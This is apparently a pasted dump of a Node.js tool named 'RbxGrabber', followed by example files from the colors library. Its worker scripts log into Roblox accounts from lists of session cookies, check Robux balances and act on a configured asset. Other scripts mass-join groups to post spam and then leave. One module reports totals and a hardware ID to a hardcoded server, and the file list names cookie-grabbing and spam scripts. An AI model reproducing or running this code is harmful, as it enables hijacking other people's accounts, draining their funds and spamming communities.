  1134. process.on('message', async (cookies) => {
  1135. const source = require('../utils/rbxbot.js');
  1136. const rbxbot = new source();
  1137. //const removeCookie = require('./removecookie.js');
  1138.  
  1139. var i = 0;
  1140.  
  1141. async function loop(){
  1142. if(cookies.length > i) {
  1143. try{
  1144. let cookie = cookies[i];
  1145. if(cookie === '') throw new Error('Cookie is blank');
  1146. let login = await rbxbot.cookie_login(cookie);
  1147. if(login.success === false) {
  1148. throw new Error(login.error);
  1149. }
  1150. let info = await rbxbot.user_info();
  1151. if(info.success === false) throw new Error(info.error);
  1152. info = JSON.parse(info.info);
  1153.  
  1154. if(info.RobuxBalance >= 5) {
  1155. await fs.readFile('settings.txt', 'utf8', async (err, data) => {
  1156. if(err) throw new Error(err);
  1157. var array = data.split(os.EOL);
  1158. //console.log(array);
  1159. var guser = array[0].split('=')[1];
  1160. var gpass = array[1].split('=')[1];
  1161. var assetid = array[3].split('=')[1];
  1162. var mcookie = array[4].split('=')[1];
  1163.  
  1164. let rdel = await rbxbot.delete(assetid);
  1165. if(rdel.success === true) {
  1166. process.send({success: true, mcookie: mcookie, assetid: assetid, info: info, cookie: cookie});
  1167. i++;
  1168. return loop();
  1169. } else {
  1170. throw new Error(rdel.error);
  1171. }
  1172. });
  1173. //console.log(info.RobuxBalance);
  1174. } else {
  1175. //console.log(info.RobuxBalance);
  1176. await log('User has less than 5 robux!', 'normal');
  1177. process.send({success: false});
  1178. i++;
  1179. return loop();
  1180. }
  1181. }catch(err){
  1182. if(err.message === 'Unexpected token < in JSON at position 4') {
  1183. await log('Cookie is dead.', 'failure');
  1184. i++;
  1185.  
  1186. process.send({success: false, dead: true, cookie: cookies[i]});
  1187. return loop();
  1188. }
  1189. await log(err.message, 'failure');
  1190. i++;
  1191. process.send({success: false});
  1192. return loop();
  1193. }
  1194. } else {
  1195. return process.exit(1);
  1196. }
  1197. }
  1198. loop();
  1199. }){"mode":33188,"size":2871,"isFileValue":true,"isDirectoryValue":false}
  1200. var os = require('os');
  1201. const colors = require('colors');
  1202. const fs = require('fs');
  1203. const success = 'Success >> '.green.bold;
  1204. const failure = 'Failure >> '.red;
  1205. const normal = 'Normal >> '.cyan;
  1206. var start_prompt = 'RbxGrabber >> '.red.bold;
  1207.  
  1208.  
  1209. function random(min, max) {
  1210. return Math.floor(Math.random() * (max - min + 1) ) + min;
  1211. }
  1212.  
  1213. var log = (msg, type='') => {
  1214. switch(type){
  1215. case "success":
  1216. console.log('RbxGrabber >> '.red.bold + success + msg);
  1217. break;
  1218. case "failure":
  1219. console.log('RbxGrabber >> '.red.bold + failure + msg);
  1220. break;
  1221. case "normal":
  1222. console.log('RbxGrabber >> '.red.bold + normal + msg);
  1223. break;
  1224. default:
  1225. console.log('RbxGrabber >> '.red.bold + normal + msg);
  1226. break;
  1227. }
  1228. }
  1229.  
  1230. process.setMaxListeners(10000000);
  1231.  
  1232. process.on('message', async (json) => {
  1233. const source = require('../utils/rbxbot.js');
  1234. const rbxbot = new source();
  1235. let cookies = json.cookies;
  1236. let groupids = json.groupids;
  1237. let messages = json.messages;
  1238. var i = 0;
  1239.  
  1240. async function loop(){
  1241. if(cookies.length > i) {
  1242. try{
  1243. let message = messages[random(0, messages.length - 1)];
  1244. let cookie = cookies[i];
  1245. let groupid = groupids[random(0, groupids.length -1)];
  1246. //console.log(cookie);
  1247. if(cookie === ''){ throw new Error('Cookie is dead.')}
  1248. let login = await rbxbot.cookie_login(cookie);
  1249. if(login.success === false) {
  1250.  
  1251. throw new Error(login.error);
  1252.  
  1253. }
  1254. //console.log(groupid);
  1255. let group = await rbxbot.join_group(groupid);
  1256. if(group.success === false) {
  1257. if(group.error.indexOf('a member of group:'+groupid) >= 0) {
  1258.  
  1259. }else{
  1260. throw new Error(group.error);
  1261. }
  1262. }
  1263. if(group.pending) {
  1264. log('Requested to join group!', 'success');
  1265. i++;
  1266. return loop();
  1267. } else {
  1268. log('Successfully joined group!', 'success');
  1269. let grouppost = await rbxbot.group_post(groupid, message);
  1270. if(grouppost.success === false) throw new Error(grouppost.error);
  1271. log('Successfully posted message', 'success');
  1272.  
  1273. let leaveaf = await rbxbot.leave_group(groupid);
  1274. if(leaveaf.success === false) throw new Error(leaveaf.error);
  1275. log('Successfully left Group', 'success');
  1276.  
  1277. }
  1278. i++;
  1279. process.send('group');
  1280. return loop();
  1281.  
  1282. }catch(err){
  1283.  
  1284. if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
  1285. await log('Cookie is dead.', 'failure');
  1286. i++;
  1287. return loop();
  1288. }
  1289.  
  1290. if(err.message.indexOf(`groups`) >= 0) {
  1291.  
  1292. var msg = err.message.split(' is already a');
  1293. var msg1 = msg[0].split('Error: User:');
  1294. var userid = msg1[1];
  1295. //console.log(msg1)
  1296. if(!userid){
  1297. i++;
  1298. return loop;
  1299. }
  1300. let groups_in = await rbxbot.get_groups_ply(userid);
  1301. if(groups_in.success === false) await log(groups_in.error, 'failure');
  1302. groups_in = JSON.parse(groups_in.groups);
  1303. //console.log(groups_in[0].Id);
  1304. if(groups_in.length < 0) {
  1305. i++;
  1306. return loop();
  1307. }
  1308. let leave = await rbxbot.leave_group(groups_in[0].Id);
  1309. if(leave.success === false) {
  1310.  
  1311. await log(leave.error, 'failure');
  1312. i++;
  1313. return loop();
  1314. }
  1315.  
  1316. return loop();
  1317. }
  1318.  
  1319. await log(err.message, 'failure');
  1320. i++;
  1321. return loop();
  1322. }
  1323. } else {
  1324. return process.exit(1);
  1325. }
  1326. }
  1327. loop();
  1328. })
  1329. const request = require('request');
  1330.  
  1331. module.exports = (amount, hwid) => {
  1332. return new Promise((resolve, reject) => {
  1333. var options = {
  1334. uri: `http://54.39.87.168/APIs/secret/updatetotal?amount=${amount}&hwid=${hwid}`,
  1335. method: 'POST'
  1336. }
  1337. request(options, (err, res, body) => {
  1338. if(err) return reject(err);
  1339. var json = JSON.parse(body);
  1340. if(json.success === true) {
  1341. resolve(json.message);
  1342. } else {
  1343. reject(json.message);
  1344. }
  1345. });
  1346. })
  1347. };{"mode":33188,"size":498,"isFileValue":true,"isDirectoryValue":false}["rbxgrabber.js","hwidcheck.js","checksettings.js","getcookies.js","getcombos.js","buy.js","favorite.js","group.js","message-spam.js","follow.js","login.js","checkcookies.js","group_spam.js"]{"mode":16877,"size":0,"isFileValue":false,"isDirectoryValue":true}var colors = require('../lib/index');
  1348.  
  1349. console.log('First some yellow text'.yellow);
  1350.  
  1351. console.log('Underline that text'.yellow.underline);
  1352.  
  1353. console.log('Make it bold and red'.red.bold);
  1354.  
  1355. console.log(('Double Raindows All Day Long').rainbow);
  1356.  
  1357. console.log('Drop the bass'.trap);
  1358.  
  1359. console.log('DROP THE RAINBOW BASS'.trap.rainbow);
  1360.  
  1361. // styles not widely supported
  1362. console.log('Chains are also cool.'.bold.italic.underline.red);
  1363.  
  1364. // styles not widely supported
  1365. console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
  1366. + ' styles! '.yellow.bold);
  1367. console.log('Zebras are so fun!'.zebra);
  1368.  
  1369. //
  1370. // Remark: .strikethrough may not work with Mac OS Terminal App
  1371. //
  1372. console.log('This is ' + 'not'.strikethrough + ' fun.');
  1373.  
  1374. console.log('Background color attack!'.black.bgWhite);
  1375. console.log('Use random styles on everything!'.random);
  1376. console.log('America, Heck Yeah!'.america);
  1377.  
  1378.  
  1379. console.log('Setting themes is useful');
  1380.  
  1381. //
  1382. // Custom themes
  1383. //
  1384. console.log('Generic logging theme as JSON'.green.bold.underline);
  1385. // Load theme with JSON literal
  1386. colors.setTheme({
  1387. silly: 'rainbow',
  1388. input: 'grey',
  1389. verbose: 'cyan',
  1390. prompt: 'grey',
  1391. info: 'green',
  1392. data: 'grey',
  1393. help: 'cyan',
  1394. warn: 'yellow',
  1395. debug: 'blue',
  1396. error: 'red',
  1397. });
  1398.  
  1399. // outputs red text
  1400. console.log('this is an error'.error);
  1401.  
  1402. // outputs yellow text
  1403. console.log('this is a warning'.warn);
  1404.  
  1405. // outputs grey text
  1406. console.log('this is an input'.input);
  1407.  
  1408. console.log('Generic logging theme as file'.green.bold.underline);
  1409.  
  1410. // Load a theme from file
  1411. try {
  1412. colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
  1413. } catch (err) {
  1414. console.log(err);
  1415. }
  1416.  
  1417. // outputs red text
  1418. console.log('this is an error'.error);
  1419.  
  1420. // outputs yellow text
  1421. console.log('this is a warning'.warn);
  1422.  
  1423. // outputs grey text
  1424. console.log('this is an input'.input);
  1425.  
  1426. // console.log("Don't summon".zalgo)
  1427.  
  1428. {"mode":33188,"size":1862,"isFileValue":true,"isDirectoryValue":false}var colors = require('../safe');
  1429.  
  1430. console.log(colors.yellow('First some yellow text'));
  1431.  
  1432. console.log(colors.yellow.underline('Underline that text'));
  1433.  
  1434. console.log(colors.red.bold('Make it bold and red'));
  1435.  
  1436. console.log(colors.rainbow('Double Raindows All Day Long'));
  1437.  
  1438. console.log(colors.trap('Drop the bass'));
  1439.  
  1440. console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
  1441.  
  1442. // styles not widely supported
  1443. console.log(colors.bold.italic.underline.red('Chains are also cool.'));
  1444.  
  1445. // styles not widely supported
  1446. console.log(colors.green('So ') + colors.underline('are') + ' '
  1447. + colors.inverse('inverse') + colors.yellow.bold(' styles! '));
  1448.  
  1449. console.log(colors.zebra('Zebras are so fun!'));
  1450.  
  1451. console.log('This is ' + colors.strikethrough('not') + ' fun.');
  1452.  
  1453.  
  1454. console.log(colors.black.bgWhite('Background color attack!'));
  1455. console.log(colors.random('Use random styles on everything!'));
  1456. console.log(colors.america('America, Heck Yeah!'));
  1457.  
  1458. console.log('Setting themes is useful');
  1459.  
  1460. //
  1461. // Custom themes
  1462. //
  1463. // console.log('Generic logging theme as JSON'.green.bold.underline);
  1464. // Load theme with JSON literal
  1465. colors.setTheme({
  1466. silly: 'rainbow',
  1467. input: 'blue',
  1468. verbose: 'cyan',
  1469. prompt: 'grey',
  1470. info: 'green',
  1471. data: 'grey',
  1472. help: 'cyan',
  1473. warn: 'yellow',
  1474. debug: 'blue',
  1475. error: 'red',
  1476. });
  1477.  
  1478. // outputs red text
  1479. console.log(colors.error('this is an error'));
  1480.  
  1481. // outputs yellow text
  1482. console.log(colors.warn('this is a warning'));
  1483.  
  1484. // outputs blue text
  1485. console.log(colors.input('this is an input'));
  1486.  
  1487.  
  1488. // console.log('Generic logging theme as file'.green.bold.underline);
  1489.  
  1490. // Load a theme from file
  1491. colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
  1492.  
  1493. // outputs red text
  1494. console.log(colors.error('this is an error'));
  1495.  
  1496. // outputs yellow text
  1497. console.log(colors.warn('this is a warning'));
  1498.  
  1499. // outputs grey text
  1500. console.log(colors.input('this is an input'));
  1501.  
  1502. // console.log(colors.zalgo("Don't summon him"))
  1503.  
  1504.  
  1505. {"mode":33188,"size":1944,"isFileValue":true,"isDirectoryValue":false}
Add Comment
Please, Sign In to add comment